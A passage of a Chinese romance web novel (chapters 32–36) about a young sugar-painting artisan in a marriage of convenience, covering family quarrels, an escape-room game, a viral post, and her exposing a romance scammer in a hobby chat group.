黎穗那时候以为,自己吃馄饨被周景淮抓包时,他所在的那间是他的卧室,所以,她完全不理解,他为什么睡在这里。 周景淮脸上带着困意,视线扫过她手里的蛇,淡淡问:“这什么?” “……”黎穗的脑子像是被冻住了,过了许久,磕磕绊绊道: “我听、听说你快生日了,送你的生日礼物。” 周景淮:“……” 第32章 (二更) “滴”一声,周景淮按着黎穗的食指,解锁了门禁。 黎穗回过神,还来不及反应,右手突然被他牵住。 明明都是37度的生物,黎穗却觉得,他的体温仿佛比她更高一些,掌心的灼热,让她有些不适应,却好像并不排斥。 他的拇指指腹,在她手背上轻轻摩挲着,黎穗不知道是不是刚才的出神,让他意识到了什么,但毫无疑问的是,他的动作,让她莫名安定了下来,心跳慢慢趋向和缓。 出乎意料的,客厅里只有周景丞和周恒两个人,占据了茶几侧面的两个沙发,各自沉默地玩着电子设备。 看到他们进来,周恒冷冷扫了一眼,不咸不淡地喊了声:“哥。” 周景淮没什么反应,反问:“就长了一只眼?” 周恒欲言又止,最后才不甘不愿地吐出一句:“表嫂。” 周景淮这才满意,看向周景丞问:“妈呢?” 周景丞还没回答,就被周恒抢了先:“姑姑带我爸妈去看她收藏的玉器了。” 周景淮不冷不热地点点头,把手里的木盒递给周景丞:“你嫂子买的。” 周景丞看起来似乎没有抱太大希望,但是打开盒子看到里面东西的那一刻,他的眼里瞬间有了光亮,连手里的平板都被随手扔到了一旁。 “谢谢姐姐!” 黎穗松了口气:“生日快乐。” 周景丞抱着木盒,蹭蹭上了楼,过了许久才下来,继续自己的游戏。 他还在玩之前的密室逃脱游戏。 黎穗和周景丞脑袋靠着脑袋,目不转睛盯着平板屏幕上的碎纸片。纸片上凌乱地写着一些毛笔字,长、一、里、无…… 这能得出什么密码? 黎穗绞尽脑汁思考的时候,周恒突然探过头来盯着屏幕,俩人默契地往后一缩,拉开了和他的距离。 周恒看着倒是没有察觉到这种排斥,很快抽身回去玩起了手机。 而周景淮正坐在旁边悠哉悠哉地剥着荔枝。 黎穗瞟了他一眼,不行,不能求助。 她可以的。 重新把注意力移到屏幕上,黎穗的食指滑动纸片,盯着那道裂痕,刚感觉到有了点眉目,就听到周恒说:“答案是王。” 答案确实是王。 重点就在于,不能被纸片上的信息分散注意力,而应该聚焦在纸片撕裂的痕迹上。 周恒嗤笑一声:“这些东西网上搜一下不就全有了嘛,费老大力气想什么,浪费时间。” 黎穗:“……” 原来他刚才探头过来看,是为了这。 一时之间,无话可说。 周景丞少年老成地皱了皱眉,没理他,在门上的点阵中,按出“王”的字样,门缓缓开启,一道亮光,将俩人带入新的房间。 “吃荔枝吗?” 旁边突然传来一道询问,黎穗点头,又摇头:“没手。” 一股冰冰凉凉的触感,贴近下唇,黎穗愣了下,很快反应过来,将他手里水润香甜的荔枝含进了口中。 汁水四溢,口腔里一片香甜。 但黎穗却忍不住走神,周景淮居然给她剥荔枝,这是太阳打西边出来,把他照傻了吗? 而且她刚才,嘴唇是不是碰到他的手指了? 她不自觉地抿了抿唇,余光看到周景淮从桌上抽了张纸巾,慢条斯理地擦拭着指尖残留的汁水,白皙修长的五指,令人不由浮想联翩。 “姐姐。”周景丞疑惑地喊她一声,似乎不明白她怎么突然神游天外。 “啊。”黎穗回过神,鸵鸟似的缩了缩脖子,也不知道在心虚什么。 没玩几秒,余光看到周景淮用银叉叉起一块菠萝,似乎是想喂进自己嘴里,黎穗本能地开口阻止:“菠萝太酸了,对胃不好。” 周景淮的动作顿了顿,还真把菠萝放了回去。 周恒见状,忍不住嘲讽几声:“景淮哥,我说你也太妻管严了吧?有没有点男人的魄力。” 周景淮扯了扯唇,没有反驳,只道:“什么是男人的魄力?我下次百度搜搜。” 周恒的脸一下子就黑了。 * 周恒本就记仇,不知道是不是因为这事儿,吃饭的时候,全程都不太作声。 吃完饭,周明宇把给周景丞的生日礼物拿了出来,是一件潮牌T恤,看起来价格不菲。 “谢谢舅舅。”周景丞接了T恤,放在一边,又继续操作自己手里的刻刀。 周芷玉不允许他在吃饭的时候玩电子设备,所以吃完又不能下桌的时候,他就只能摆弄自己手边的木头。 周明宇并没有在意,从一旁又拿过两个盒子。 周芷玉笑道:“小孩子生日而已,准备这么多礼物干嘛?” “这不是给丞丞的,姐,这是给你的。” 他们大概知道周芷玉喜欢玉器,给她带了个巴掌大的玉雕观音,和一款奢侈品牌的连身裙。 “玉雕观音是我选的,裙子是我老婆选的。”周明宇解释道。 “这又不是我生日,不用那么破费。” “我们难得过来,不生日就不能收礼物了?你喜欢就行。”周明宇拿起桌上的红酒瓶,帮她倒上。 周芷玉看起来挺喜欢这礼物,亦或许是给面子,立刻拿着礼物起身道:“我去试试。” 她顺手拉起了一旁的黎穗:“穗穗,你和我一起吧,正好帮我搭配搭配。” “好。”黎穗起身跟着她上了楼。 把玉雕观音小心翼翼地放到书房的博古架上,黎穗走进衣帽间时,周芷玉已经换好了裙子。 她对着镜子左看右看,总觉得不是很满意。 “感觉头发用发簪扎起来,会更适合一点。”黎穗建议。 周芷玉的右手伸到脑后,把头发一把抓起,恍然大悟似的点头:“好像还真是这样。” 她走到饰品柜前,眼神搜索:“哎?我那个翡翠发簪呢。” 黎穗想了想:“应该在楼下茶几上,我刚才好像看到了。” “啊。” “我去拿。”黎穗笑眯眯地跑出了衣帽间。 快步走到楼梯口,黎穗刚打算迈下一级台阶,却听到楼下似乎在说话。 周明宇的声音里带着讨好:“景淮啊,你这弟弟吧,不是很争气,读了个技校出来也不好找工作,我听说你公司现在发展得挺好,要不给他随便安排个职位?” “舅舅,公司招聘有专人负责,我不管这一块,如果周恒有意向的话,可以投简历,能力够,自然可以。” 黎穗看不到周景淮的神情,却听得出他语调里的严肃。 这种严肃,和工作时又不一样,是黎穗极为陌生的,甚至觉得有点令人不寒而栗。 黎穗一时之急进退两难,等她反应过来的时候,她已经本能地蹲在了花瓶后。 “景淮哥,你是不是对我有意见?”周恒不服气地问,“当年你用蛇吓我,看在咱俩的兄弟情分上,我可没跟姑姑告状,就这么算了。” 徐樱吓一跳:“什么?景淮,你怎么可以用蛇吓阿恒呢?他最怕这些东西了。” 黎穗的心陡然像是被一记重锤,一种之前没有详细体会过的奇怪感觉,后知后觉地涌上心头。 原来那次,她抓的蛇,还是成功吓到了周恒。 黎穗偷偷回头,看向底下,周景淮靠在椅背上,右手从周景丞面前的英文小木牌里抽了一块。 是一个B字。 他百无聊赖地转着那块木牌,嗓音慵懒:“我把蛇放在自己房间的电脑桌上,周恒不经我允许偷进我房间被吓到,却说我故意吓他,舅舅舅妈,不然你们帮我理理这逻辑?” 周明宇和徐樱默契地沉默了。 坐在周景淮旁边的周景丞突然伸过手,往竖着的木牌旁边又放了一块。 是个S。 SB。 黎穗差点没憋住,幸好赶紧捂住了嘴。 周明宇还在自顾自替周恒说好话:“景淮啊,你这话讲的,那老头子不过只是运气好救了丞丞,你和你妈都一连几年百般照顾着,为了让那老头子死得安心,连他孙女都娶回来当老婆了,阿恒可是你实打实的弟弟啊,怎么就不能帮一把?” 黎穗抿着唇,当话题扯到自己的时候,她就知道,自己不该再听下去了。 而且蹲在这儿也三四分钟了,黎穗害怕周芷玉会因为等不到她而出来找,于是赶紧猫着腰退回了衣帽间。 周景淮的目光不经意往楼上一扫,定了两秒,收回时,眼里肉眼可见的阴翳,让周明宇一家同时把心提到了嗓子眼。 “舅舅,黎穗是我老婆,她爷爷自然也就是我爷爷,希望您放尊重点。” “你……” 氛围尴尬之际,徐樱赶紧笑着解围:“哎哟,你舅舅他喝多了就喜欢胡言乱语,景淮,你别在意啊,至于阿恒工作的事情,也不急,等会儿我们和你妈也商量商量。” 周景淮冷笑一声:“不用拿我妈来压我,现在究竟是我妈能说服我,还是我能阻止我妈,我想你们应该比谁都清楚。” 周明宇和徐樱再度无言可说,连周恒都不发一语。 眼前突然有人把手伸了过来,周景淮垂眸一看。 周景丞把桌上的S收回,换了个N。 周景淮:“……” * 黎穗回到衣帽间时,周芷玉还在对着镜子欣赏身上的裙子,见她两手空空,周芷玉疑惑地问:“没找到吗?” “啊。”黎穗尴尬地攥了攥手,“没找到。” “没事儿。”周芷玉退而求其次,从首饰柜里拿了个木质发簪,随手盘了个发髻,对着镜子左看右看,“这个也还行,先这样吧,别让他们等急了。” “嗯。”黎穗陪着她下了楼。 但没想到的是,客厅里只剩下兄弟俩。 周景淮正陪周景丞一起玩他刻的那些英文木牌。 周芷玉环顾四周:“你舅舅他们呢?” 周景淮拿着一块木牌,像拼拼图一样,寻找着合适的位置:“困了吧,上楼了。” “又跟他们闹矛盾了?”周芷玉显然没信,走到周景淮身后,拍拍他肩膀,“你舅舅一家,就这不成器的样,但到底是最亲近的亲戚,你也别太过分了。” 周景淮哼笑一声,也不知道听没听进去。 周芷玉便也不再多说,看了眼时间,拉着黎穗道:“穗穗,要不今天你们也住这儿吧?妈前几天买了不少首饰和衣服,你明天陪妈都试试。” “好呀。” 黎穗欣然应下,直到真的和周景淮身处一室的时候,才回过神来。 她拉开柜子,别说床垫,就连床单都没有,要是现在去储藏室搬,万一路上遇到周芷玉,那可就彻底解释不清了。 黎穗回头看了眼,其实,这床这么大,各睡各的,好像也没什么? 就在她做心理建设的时候,正用吹风机吹着头发的周景淮淡淡觑她一眼。 “跟我睡一张床,有这么害怕?” 第33章 害怕? 开什么玩笑? 黎穗不蒸馒头争口气。 “不过就是睡一张床而已,有什么好怕的。”她掀开被子,先一步上了床,流氓似的拍拍床板,“来吧!” 周景淮拔了吹风机的插头,紧随其后。 俩人之间隔着不远不近的距离,黎穗平躺着,隐隐能闻到沐浴乳的香气,也不知道是谁身上的。 好像真的不太一样。 起码她毫无困意。 沉默了大概十分钟后,黎穗重新又坐起身来:“你先睡吧,我玩会儿游戏。” “密室逃脱?” 黎穗点头,她手机里也没几个游戏。 周景淮往她那儿靠了靠:“一起吧。” 黎穗之前玩这个游戏,都是玩单人本,她不太熟悉地点进双人本界面,缓缓往下滑,挑选着剧本。 恐怖医院,不行不行,大晚上的,太吓人了。 风尘客栈,听着像是古风本,感觉比较费脑子。 相思药,听着比较暧昧,不适合现在的氛围。 …… 挑来挑去,黎穗破罐破摔,选中了一个欢乐本:【逃出霸道总裁的金丝笼】。 周景淮倒是没什么反应,只问:“你确定?” “看起来应该挺有意思的。” 黎穗一边说,一边点下了“开始”。 手机屏幕上,飘起袅袅烟雾,昏暗的房间里,摆放着一张kingsize大床,床上被子凌乱,大门紧锁。 “冷夜呢?” “……”黎穗默默在心里吐槽,果然好霸总的名字。 “小姐,冷总临时去了国外,您有什么事情,可以拨房间里的电话。”仆人的回答冷漠无情。 后面就是一连串女主的逃跑计划,首先要做的是,找到打开阳台的钥匙,从阳台,进入旁边的客房。 黎穗开始翻箱倒柜,搜集一些线索,从破碎的纸片,到桌角的红酒,一个都没放过。 把红酒洒在纸片上,有四个英文缓缓显了出来。 EIEI。 角落里的保险柜,是数字密码锁,那这又是什么密码? 黎穗正四处查找还有没有其他密码锁时,周景淮的脑袋突然凑了过来。 虽然这段时间俩人相处时间很多,但还是第一次这么亲密,尤其是在床上,黎穗本能地往后躲了躲,发现自己的反应有些过大,又刻意地、缓慢地,往他的方向挪近了些许距离。 俩人没有触碰到彼此,可是黎穗却能感受到他说话时,灼热呼吸熨烫在自己手臂上的感觉。 令人不由自主地起了鸡皮疙瘩。 而她的发尾,垂落在了他的手臂上,显得莫名亲昵。 黎穗把头发全部拢到另一侧,清了清嗓子,主动说话打断了这种奇怪的氛围:“这个我知道了,和下午那纸片一样的套路,看虚不看实。” EIEI。 看没亮起的部分,就是1313。 果不其然,保险柜成功开启,里面不是钥匙,而是一张学生时代的合照。 照片里的女生,穿着白色衬衫校服、黑色百褶裙,柔顺的黑发,扎成一束高高的马尾,充满活力。 显然,这就是霸道总裁曾经的白月光。 黎穗忍不住好奇:“周景淮。” “嗯?” “你读书的时候,有白月光吗?” 周景淮沉默了一会儿,就在黎穗以为他不会回答的时候,他居然低低“嗯”了一声。 “真有啊?”黎穗震惊,“那你们在一起了吗?” “没有。” “为什么?” 周景淮自嘲地扯了扯嘴角:“她看不上我。” “凭你这张脸,不应该啊。”黎穗眉头轻蹙着,也不知道是发自真心的感慨,还是单纯安慰他,“这姑娘眼光不太行,不是你的错。” “确实。”周景淮还真不要脸地附和了。 那一瞬间,“那你呢?”三个字就在嘴边,却还是被他硬生生被咽了回去。 何必自取其辱呢。 周景淮想。 * 俩人都有些发挥失常。 黎穗是因为对这环境的不适应,让她无法集中心思,周景淮就不知道为什么了,脑子跟打结一样,一道题半天解不出来。 玩了大概两个小时,俩人才终于成功逃出了密室。 由于超过了时限,黎穗和500颗奖励钻石失之交臂。 “真可惜。”黎穗叹了口气,“只差三分钟就可以拿到礼物。” 周景淮倒是听起来毫不在意:“补你一个?” 黎穗不明所以,双眸亮闪闪地眨了眨:“什么?” 周景淮从口袋里掏出一个黑色绒盒:“生日礼物。” 黎穗接过打开一看,惊喜地睁大了眼睛,那恰恰是早上她在商场看中的四叶草手链。 但是…… “今天不是我生日啊。”以为他记错了,黎穗刻意纠正,“我生日在2月。” “这个生日礼物的意思是——”周景淮不甚在意道,“出生第8906日的礼物。” 算数真好啊。 黎穗没算明白。 她脑子环绕的数字,是上午看到的价格。 黎穗立刻把盒子递还给他:“这我不能收,太贵了。” 周景淮拉过她的手腕,双手利落地给她戴上,勾了勾唇道:“那你多赚点吧,下次也送我点贵的。” 想起来自己只送过一个头盔,黎穗突然就感觉到了斗志。反正周景淮这人说一不二,那行吧,留着就当激励了。 盯着手链欣赏了好一会儿,黎穗终于感觉到了汹涌而来的困意。她翻身躺下,见周景淮把被子往她身上扯了扯。 这看起来极为随意的一个动作,却莫名其妙地,突然让她心颤。 在她的生活里,爷爷是唯一一个,会在她睡觉的时候帮她扯被子的人。 她莫名又想起了,刚才他和周明宇一家人的对峙,虽然她没听到他后面说了什么,但从结果来看,他一定维护了她,才会导致周家人气得回了房。 “周景淮。”她抿了抿唇,发自真心地感慨道,“其实,你人真的挺好的。” 周景淮轻哼:“怎么?要给我发个奖状?” “不是。”大概是此刻的氛围太过安谧,黎穗一时上头,“我们以后,别互怼了吧,我会把你当朋友,我第二好的朋友。” “……”身旁人沉默了许久。 隐约间,黎穗听到周景淮问:“刚才是不是听到了?” 黎穗知道他指的是什么,没有否认:“嗯。” “不用在意。”周景淮说,“本来关系就不好,不是因为你。” “为什么?”黎穗翻了个身,侧着面对他,“他们不是你们家最亲的亲戚了吗?” “最近,但亲不亲,不是由血缘决定的。”周景淮说,“我妈离婚的时候,我十四,周景丞才出生没多久,那年新年,我们被带着回我妈的娘家过年,却被拒之门外,据说当地的习俗,离了婚的女人,是不能回娘家过年的,不吉利。” “是什么时候开始,每年一个电话催我妈回家过年的呢?大概是她上了各种新闻、大家知道她赚了大钱之后吧。” 黎穗心里泛起一阵阵酸涩:“妈……不知道吗?” “怎么可能不知道,但我妈的性子你也了解,在外雷厉风行,对内却总是想着家和万事兴,所以我舅舅要开家具店,我妈出的钱,家里要买房,还是我妈出的钱。” 黎穗沉默不语,闭着眼睛,看起来听得很认真。 “但我和我妈不一样。”周景淮目光沉沉地看着她,意味深长地说,“我不会被亲情绑架,更不必说道德。” 昏黄灯光下,瞳仁像是漩涡,引人深陷。 周景淮的声音被无限放大。 “所以黎穗,我答应结婚,和你爷爷没关系。” 对面的人没有任何反应,周景淮感觉到不对劲,伸出手指戳了戳她软乎乎的脸。 “……” 周景淮咬咬牙。 不该听的一句不漏,该听的一句不听。 真行。 第34章 (二更) 那天晚上,黎穗迷迷糊糊中,好像做了一个梦。 她梦见,她正躺在一张柔软的大床上,周景淮的脸,距离自己只有咫尺之遥。 他温柔地拨开覆盖在她脸上的发丝,语调轻缓却坚定地告诉她:“我答应结婚,和你爷爷没关系。” 就像一颗石子突然砸在了平静的湖面,激起圈圈波纹,许久没有消散。 “你……”黎穗惊慌失措地攥紧了他胸口的衣料。 周景淮缓缓俯身,距离近到,黎穗觉得自己似乎可以数清他的睫毛。 呼吸粘着,彻底分不开,双唇若有似无地触碰,像有一股电流,从身体穿过,激得人浑身发麻。 第二天一早,被连续不断的微信消息提示音吵醒的黎穗,早已记不清,自己在梦里究竟有没有推开。 太可怕了,她怎么会做这种梦? 真是比小说扑街还可怕。 手机还在震动,黎穗拿过一看,是何潇雨的消息。 何潇雨:【妈呀穗穗,你上热搜了!】 后面是好几张热搜界面的截图。 黎穗迷迷糊糊地揉了揉眼睛,大脑还没对上热搜这件事作出反应,直到看到截图里的内容,她立刻从床上爬了起来。 #文物糖画#糖画已经卷到这种程度了???好熟悉的大克鼎、玉龙……看到这些文物糖画狠狠心动了!老板明明可以靠颜值吃饭,却偏偏要靠才华! 黎穗本来还提着一口气,以为是她和周景淮的关系暴露了,但幸好,评论区的大家关注点似乎都不在这。 【这是什么时代的眼泪,我还以为只有我们这种年纪的才知道糖画这种东西,真好啊,它居然还没有消失。】 【好牛,这个店在哪里?求指路!】 【@我靠本事赚钱,节目组前几天不是在征集手艺人信息吗?快看看!我感觉这个特别适合!】 【莫名看的有点感动是怎么回事……】 【店主好像没有微博,但是找到了视频号,指路@黎叔糖画】 【感谢关注!推荐一个小程序辅川糖画之家,里面特别多大佬,只有你想不到,没有他们画不了!】 …… 黎穗一条一条往下看,感觉自己正被一种难以用语言描述的情绪填充,仿佛有一股暖流,在她身体里慢慢流淌,最后全部涌上大脑。 在黎穗二十四年的生命中,她好像第一次感受到什么叫做“喜欢的事带来的成就感”。 不是因为她被看到了。 而是因为,她发现,原来自己曾经都觉得落伍了的糖画,也是可以被大众看到的。 她想,如果爷爷看到网上这些夸奖,应该会很开心吧。 那是他坚持了一辈子的事情。 黎穗很清楚,这些关注度不过只是一时的,要如爷爷期盼的,让大众了解糖画、喜爱糖画,甚至愿意传承糖画,还有太长的一段路要走。 但,有了一个开头,总归是件好事。 被子突然被人抽动,她侧过头,看到床上还有一个人,本能地惊出一声“啊”。 过会儿才想起,哦对,昨晚她是和周景淮一起睡的。 想着自己刚醒,睡眼惺忪的样子铁定不会多好看,黎穗趁他睁眼前,挡着脸飞速冲进了洗手间。 但刷牙的时候转念一想,奇了怪了,她什么时候在意过在周景淮面前的形象? 浴室门口传来“咚咚”两声。 黎穗把门打开,周景淮顶着一头微乱的发丝走了进来。 俩人并肩而站,一个刷牙,一个洗脸。 黎穗用洗脸巾擦干脸上的水珠,顺口问了句:“你今天去公司吗?” “嗯。”周景淮把泡沫吐掉,漱了漱口,“晚饭前回来。” “哦。”黎穗说,“我今天休息,在家陪陪妈,晚上你想吃什么?我让张姨提前准备。” 周景淮想了想:“都行。” 黎穗眯了眯眼:“我们那里的习俗,面对别人的询问,说随便、都行、你看着办的人是要被砍头的。” 周景淮轻笑一声:“那就……糖醋排骨?” “行。” 黎穗还在往脸上拍护肤水,周景淮已经洗漱完毕。 他动作极其自然地摸了摸她的后脑勺:“先走了。” 黎穗的目光停留在镜子里,他离开时的侧颜,心口突然一跳。 她挠了挠后脑勺,怎么感觉痒痒的。 可能要长出新脑子了,她想。 * 周景淮吃过早餐就去了公司,周景丞也被送去了兴趣班。 见周芷玉去了书房开视频会议,客厅里只剩下周明宇一家,黎穗也上楼进了周景淮的书房休息。 和门相对的是一扇巨大的落地窗,从阳台往下望,整个后花园尽入眼底。 黎穗靠在栏杆上,看着那熟悉的秋千,心里不禁想,原来换一个视角看下去,是这样的景色。 她登陆上许久没有发过作品的视频号,那是当初她帮爷爷搞的,但后来爷爷的身体每况愈下,她也无心再经营,上次更新还停留在一年前。 果不其然,托热搜的福,这个视频号一下从68个粉丝涨到了15382。 而小程序的访问量也有了明显的增长。 黎穗翻了翻自己的手机相册,之前跟这许奶奶练习的时候,倒是积累了一些视频素材,不如剪辑了一个简单的入门小科普试试? 这种剪辑手机上就能完成,黎穗窝在阳台的懒人沙发上,一段一段导入、剪辑、再配上字幕…… 也不知过去了多久,突如其来的争执声,打断了黎穗的节奏。 “庄承平,你搞搞清楚,现在这里不是你家!你随便闯进来,信不信我报警!” “阿玉,你别每次都把我当仇人行不行?我们好歹也当了十几年的夫妻。” “夫妻?你在我孕期出轨的时候想过我们是十几年的夫妻吗?” …… 在黎穗的记忆里,这还是第一次听见周景淮父亲的声音。 她直起上半身往下看,果不其然,周芷玉正和一个男人面对面站着。 虽然鬓角的发丝透露了年纪,但俊朗的五官,又让他看起来年轻了一些,挺括的西装,匀称的身材,倒是没什么中年男人的油腻感,只不过,那双眼睛,看起来不太真诚。 黎穗一时尴尬,走也不是,不走也不是。 庄承平好声好气道:“我知道以前是我不对,我和那个女的几年前就离了。” “所以呢?和我有什么关系?” “你看,你每次都这样。”庄承平语气无奈,“以前也是,我每次跟你说些什么,你都一副与你无关的样子,你工作又那么忙,一年有三百天不在家,你去问问,这搁哪个男人受得了?我做很多事,无非也就是希望你多点时间留在家里。” 周芷玉气笑了:“庄承平,你现在是怪我咯?因为我不够关心你、又老不在家,所以你才做那种事是吗?” “我不是这个意思。”庄承平往前一步,试图抓住周芷玉的手臂,却被后者躲开。 他的手僵在半空中,又尴尬收回:“现在说这些没什么意义,我今天来,只是为了给丞丞补个礼物。” “我知道晚了一天,但实在没办法,前几天一直在出差,今早才回到辅川。”庄承平递出手里的奥特曼礼盒。 周芷玉突然笑了一声,手却没有任何动作。 庄承平不解:“你笑什么?” “庄承平啊,庄承平。”周芷玉幽幽抬眸,“我早就跟你说过,我这人,这辈子最讨厌的就是欺骗,而你,居然到现在还在骗我?” “我没有,你什么意思?” “出差?”周芷玉往后一步,坐在了秋千上,慢悠悠晃着,“我来告诉你,你为什么现在来吧。” “你根本不记得丞丞的生日,但是昨晚看到了我弟发的朋友圈,于是着急忙慌去超市里买了份玩具,想着靠儿子在我这儿拉点好感,救救你那濒临倒闭的破餐馆,你看我说的对吧?” “你……” “我再说一遍,赶紧滚,不然我就报警了。”周芷玉掏出手机,按下了110。 庄承平不以为意:“阿玉,你别这样,我是真的……” 话还没说完,“哗”的一声,庄承平被水浇得劈头盖脸。 “谁啊!” 庄承平愤怒抬头,只见阳台上的小姑娘歉疚地合着双手道歉:“不好意思啊,我不知道下面有人……” 周芷玉愣了片刻,差点笑出声来。 庄承平从未有过如此狼狈的时刻,他满脸涨红,却说不出一句话。 仓皇的身影终于消失在大门口,周芷玉仰头,抬手给她比了个赞。 黎穗这才松了口气。 周芷玉在她的印象里,一直很热情干练,黎穗从未想过,她的生活,其实也有过一团乱麻的时候,但更让她不安的,是周芷玉那句话。 她说,她这辈子最讨厌被欺骗。 黎穗的双手攥着栏杆,掌心溢出了一层薄汗。 如果周芷玉知道,她其实也有事情欺骗了她,又会是什么样的反应呢? 第35章 黎穗忙着捣鼓视频,白天没怎么下楼,自然也就没有和周明宇一家遇上。 直到傍晚时分,家里开始准备晚餐。 周明宇和徐樱显然不知道她昨晚其实听到了他们和周景淮的对话,还在周芷玉面前维持着表面的和气。 张姨在厨房里忙碌,徐樱坐在沙发上,耐心地剥着一颗葡萄,闲聊似的问她:“穗穗会做饭吗?” 黎穗多少听得出这话里的弦外之音—— 作为儿媳妇,晚餐时间了,也不进厨房帮忙,一点规矩都不懂。 上午庄承平的骚扰,似乎已经被周芷玉翻篇,她笑着解围道:“女孩子是要富养的,整天下厨房干嘛?” “话也不是这么说。”周明宇不甚赞同,“周家这是有保姆,要没有呢?小夫妻难道天天吃外卖啊?多不健康。” 周芷玉理所当然道:“让景淮学呗。” “景淮工作这么忙,哪里有空学做饭。”周明宇劝道,“姐,你也别太宠儿媳妇了,我家阿恒将来讨的老婆,要过我这关,就必须得会做饭。” 黎穗不由腹诽,周恒这种吊儿郎当的草包,在我们村里都没人看得上。 周明宇显然没看出她的心思,还在一旁喋喋不休:“要不然让阿樱教教她,学做菜嘛,又不难。” “其实我会做一点的,我去厨房看看。”黎穗被他们一句一句吵得头大,也怕徐樱真要教她,索性借着这个借口跑路。 周明宇和徐樱这才满意地换了话题。 张姨见她进来,了然又无奈地笑了笑。 黎穗倒是不太在意,她也确实没给周家人做过饭,就当是做给周芷玉一家吃的吧。 “张姨,还有什么食材呀?”黎穗翻着冰箱。 “你要做什么?”张姨回头看了眼,道,“牛肉海鲜都有,但我觉得你做道简单的素菜就行了,没必要整太复杂。” “我也觉得。”黎穗看到了几个土豆,“那我就做个青椒土豆丝吧。” 她记得,周明宇一家都不吃辣,于是特意又多拿了几个青椒。 顺便,她也想一雪前耻。 她要向周景淮证明,她切的土豆丝,才不能当桌脚。 黎穗低头认真地切着土豆,过了会儿,隐约听到客厅传来交谈的声音。 是周景淮在问:“我老婆呢?” 周明宇说:“在厨房做饭呢。” 周景淮便没再说话,不多时,厨房门被拉开又合上,黎穗手里的刀,被他接手。 “他们让你做的?”周景淮眉头轻蹙,语气里透着几分严肃。 “也不算。”黎穗偷偷说,“我觉得他们太吵了,索性就进来了。” 周景淮放下菜刀,打开水龙头洗了手,很快,快节奏的切菜声在厨房里响起。 黎穗在一旁无所事事,好奇地问:“你是打算做了,然后出去说是我做的吗?” “不是。”周景淮否决了她的猜测,面无表情地开火,下锅。 …… 半小时后,晚饭开席。 周景淮端着那道青椒土豆丝,放在了靠近舅舅家一侧的位置。 周明宇低头看了眼,卖相很不错,便还算满意地点了点头:“这是穗穗做的?” “我做的。”周景淮轻笑一声说,“我们家没有老婆做饭的规矩,所以都是我做,舅舅舅妈,也尝尝?” 周景淮都客气到这儿了,周明宇和徐樱自然不好推辞。 俩人几乎同时拿起了筷子,各自夹了一筷子土豆丝到自己碗里。 吃了一口后,俩人默契地神色大变。 黎穗想起刚才被周景淮倒进去的半罐子盐,明明没吃,却也仿佛被咸到,嘴角轻轻抽搐了一下。 “舅舅舅妈,味道怎么样?”周景淮若无其事地问。 周明宇忍着把那口土豆丝咽了下去,勉强夸赞道:“还不错,不过要是口味更清淡一些就好了。” “是么。”周景淮替黎穗盛了碗汤,推到她面前,往后一靠,漫不经心道。 “我还以为您二位挺闲的。” * 那一晚,算是不欢而散。 但不管是周景淮还是黎穗,谁都没把这件事放在心上,反而是文物糖画热搜的事情,霸占了黎穗更多的心神。 自打上热搜之后,小店前排队的人更多了,连带着那个糖画交流群里也越发活跃。 短短几天时间,就又进来了好几十个糖画爱好者。 周二店休,黎穗练习完,躺在沙发上和何潇雨聊天,手机屏幕下方突然跳出一个小红点, 黎穗顺势点了进去,果不其然又是新人添加好友的申请。 这几天,她几乎每天都能收到两三个这种申请,大多数加了好友,打完招呼也就不聊了,所以面对这个通过交流群加她的“ZJK”,她想也没想,就按下了通过。 等通过完,黎穗才注意到对方的头像,中央是一幅龙的糖画,但比这更显眼的,大概是角落里那不经意露出的法拉利跑车钥匙。 还没等她细想,对方发来了第一条消息:【hi~我是赵杰,jack】 黎穗犹豫片刻,问:【你好,你也是糖画爱好者?】 ZJK:【对,我今年三十,应该喊你姐姐吗?】 黎穗愣了下,才想起之前为了融入这个群的画风,她把头像换成了一朵绽放的白莲花,此刻乍一看,确实很中年。 但是,这群里由于对糖画感兴趣而加她的新人,几乎都是因为热搜知道她的,那就不可能不清楚她的年纪。 这人……有点奇怪。 为了套话,黎穗没解释,顺着他的话说:【叫阿姨也行,阿姨今年五十了,离婚带俩娃。】 ZJK:【好巧,我也有一个女儿,我给你看视频,她特别乖。】 说着,对方还真发过来一个视频。 一个看起来三十出头,模样还算端正的男人,正微笑着陪一个小女孩搭配积木。 黎穗皱了皱眉,刚开始她只觉得这可能是一个爱炫富的奇葩男,但是看这塑造有钱人设的头像、一连串的搭讪套路、还有个乖巧女儿…… 她回忆起之前在网上刷到的新闻,难不成,她是遇到传说中的杀猪盘了? 这个群里姐姐阿姨不少,他不骗她,肯定也会去骗别人,而别人,说不定真有会中招的,这让黎穗更确定了,自己得弄清楚这件事。 她立刻截了张图发给何潇雨,还没等问,何潇雨就发来一连串感叹号。 何潇雨:【!!!!你遇到杀猪盘了?】 黎穗:【你也觉得像?】 何潇雨:【这哪里是像,这肯定就是,你等着,他下一步就要问你兴趣爱好了。】 何潇雨话音刚落,ZJK的头像上跳出一个小红点。 ZJK:【你平时除了画糖画,还喜欢干嘛呀?】 黎穗配合地说:【我喜欢炒炒股,搞搞小投资。】 ZJK:【那可太巧了,我也喜欢,有空可以一起玩玩。】 黎穗:【你老婆不介意吗?】 ZJK:【我老婆前年就车祸去世了。】 一切都对上了,黎穗也就懒得再演了,她直接戳破了这层窗户纸:【啊,那你有点克妻啊,这人设我不喜欢,要不你再好好想想,换一个帅气、有钱并且风趣一点的人设?】 ZJK:【哈哈,你真幽默,我没明白什么意思哎。】 ZJK:【对了,我好喜欢旅游,你有兴趣吗?】 黎穗再次截图转给了何潇雨,以及糖画群的群主,但群主是位上了年纪的阿姨,似乎不太懂这些,疑惑地问:【这好像也看不出是骗子啊?他是不是只是热情了点?】 黎穗还在想怎么解释的时候,顶部提示栏又跳出一句—— ZJK:【我前不久去了马尔代夫,还不错。】 马尔代夫。 黎穗莫名想起许久前周景淮和苏吟心的热搜,到现在还有一些倔强的cp粉把那儿视为圣地。 马尔代夫,马尔代夫,我看你像鳏夫。 同时聊几个人,黎穗有些手忙脚乱,她给群主发完消息,又再次切换到和ZJK的聊天界面,手指莫名用力,啪嗒啪嗒敲击着手机键盘:【不用马尔代夫,哥哥V我520,你就是我的下一任丈夫。】 她抖着腿,急切地等待着对方的反应,然而就在那一刻,黎穗陡然愣住。 她这条消息的上方,是一条发于一分钟前的询问:【晚上吃什么?】 黎穗的视线缓缓上移,定在了那个微信名上—— ZJH。 靠。 她点错人了! 该死的周景淮,怎么偏偏这时候给她发消息,微信名还和骗子这么像。 她着急忙慌地按住消息,刚打算撤回,顶部突然跳出提示:【对方正在输入……】 随即,一行醒目的大字映入眼帘。 ZJH:【好甜,我都想嗑你俩了。】 第36章 (二更) 